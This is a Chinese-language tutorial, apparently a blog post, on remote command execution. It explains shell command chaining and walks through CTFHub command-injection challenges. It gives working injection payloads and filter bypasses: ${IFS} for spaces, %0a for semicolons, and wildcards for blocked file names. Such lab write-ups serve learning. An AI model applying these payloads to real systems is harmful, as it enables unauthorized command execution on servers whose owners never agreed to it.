目录
一. 什么是RCE漏洞?
RCE(Remote Code/Command Execute),由于某些应用系统从设计上需要给用户提供指定的远程命令操作接口,如路由器、防火墙等web管理界面上。
并且,目前自动化运维平台也往往会出现RCE漏洞。
总之,只要有接口或界面能执行命令或代码,那么有可能会有RCE漏洞。
二. 命令拼接
命令拼接符 | 含义 | 示例 |
---|---|---|
&& | 左边执行成功,右边才执行 | ping 127.0.0.1 && echo 'hello' |
& | 简单拼接 | ping 1111 & echo 'hello' |
| | 上一条命令的输出,作为下一条命令的参数 | netstat -ano I findstr 3306 |
|| | 左边执行失败,右边才执行 | ping baidu.com ll ping baidu.net |
Linux的&&,| 和 || 同Windows是功能相同的。
Linux拼接命令用 ;
但 & 表示任务后台执行。
比如redis的启动程序 ./redis-server,运行完后就占用了窗口。./redis-server & 就可以后台启动。
三. CTF题
这次以CTFHub中的题为示例。
命令注入
直接注入:127.0.0.1;ls
界面没有,查看网页源代码:
过滤Cat
除了cat,在Linux中还有哪些能作为查看命令?
tac | 文件内容倒过来显示 |
more | 分页显示文件内容 |
less | 比more多一个翻页功能 |
head | 显示文件头5行内容 |
tail | 显示文件末尾5行内容 |
nl | 即cat -n,输出显示行号 |
tailf | 即tail -f,实时查看文本内容,比如看log文件 |
过滤空格
Linux中,空格还能用以下方式表示:
$IFS$9
${IFS}
以下两个要在URL里输入
%09
%20
过滤目录分隔符
此题过滤了目录分隔符
发现flag变成目录了,但是我们知道目录即可,不一定要写目录分隔符
最后,我们拼接命令即可
127.0.0.1;cd flag_is_here;cat flag_115103143828770.php
过滤运算符
此题过滤了所有运算符,但 ; 还能用,其他都一样
综合过滤练习
这题打了一个组合拳,对我们来说重点是:
分号用什么代替?
; 被过滤了,可以用%0a表示回车(%0a是URL编码,要写在URL里)
flag文件名怎么绕过
Linux文件可以用通配符写,比如过滤了flag,就写fla*
最后打一套组合拳:
127.0.0.1%0als 找到目录
127.0.0.1%0als${IFS}fla*_is_here 找到flag.php
127.0.0.1%0acd${IFS}fla*_is_here%0aless${IFS}fla*_308151332316580.php
答案就出来了
四. 经典RCE漏洞
CVE-2021-3177 Python RCE漏洞
CVE-2021-21972 VMWare RCE漏洞
CVE-2021-25646 Apache Druid RCE漏洞CNVD-2020-46552 深信服EDR
CNVD-2021-30101 网康下一代防火墙
感谢你能看到这。o(* ̄▽ ̄*)ブ